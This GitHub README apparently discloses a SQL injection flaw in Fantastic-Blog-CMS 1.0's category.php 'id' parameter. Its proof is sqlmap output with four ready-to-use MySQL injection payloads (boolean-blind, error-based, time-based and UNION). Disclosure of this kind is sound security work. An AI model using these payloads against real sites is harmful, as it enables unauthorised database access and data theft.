BigTiger2020 Update README.md History

1 contributor

14 lines (9 sloc) | 562 Bytes

Fantastic-Blog-CMS

- Exploit Title: Fantastic-Blog-CMS 1.0-SQL Injection
- Vendor Homepage: https://www.sourcecodester.com/php/12258/fantastic-blog-cms-php.html
- Software Link:https: https://www.sourcecodester.com/download-code?nid=12258&title=Fantastic+Blog+%28CMS%29+in+PHP+with+Source+Code
- Version: 1.0
- Vulnerable file: category.php

- Vulnerability proof :

```
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 180 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=2192.168.100.242/fantasticblog/category.php?id=2' RLIKE (SELECT (CASE WHEN (2600=2600) THEN 0x323139322e
3136382e3130302e3234322f66616e746173746963626c6f672f63617465676f72792e7068703f69643d32 ELSE 0x28 END))-- LbqY

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=2192.168.100.242/fantasticblog/category.php?id=2' OR (SELECT 4219 FROM(SELECT COUNT(*),CONCAT(0x71627070
71,(SELECT (ELT(4219=4219,1))),0x71766b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- PnZz

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2192.168.100.242/fantasticblog/category.php?id=2' AND (SELECT 4536 FROM (SELECT(SLEEP(5)))znYf)-- QJRW

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=2192.168.100.242/fantasticblog/category.php?id=2' UNION ALL SELECT NULL,CONCAT(0x7162707071,0x5746764d4f
4a57447672717a75656a5a4873506345766b72576348754857565152504562456b694e,0x71766b6b71)#
---
[11:56:01] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[11:56:01] [INFO] fetching current database
```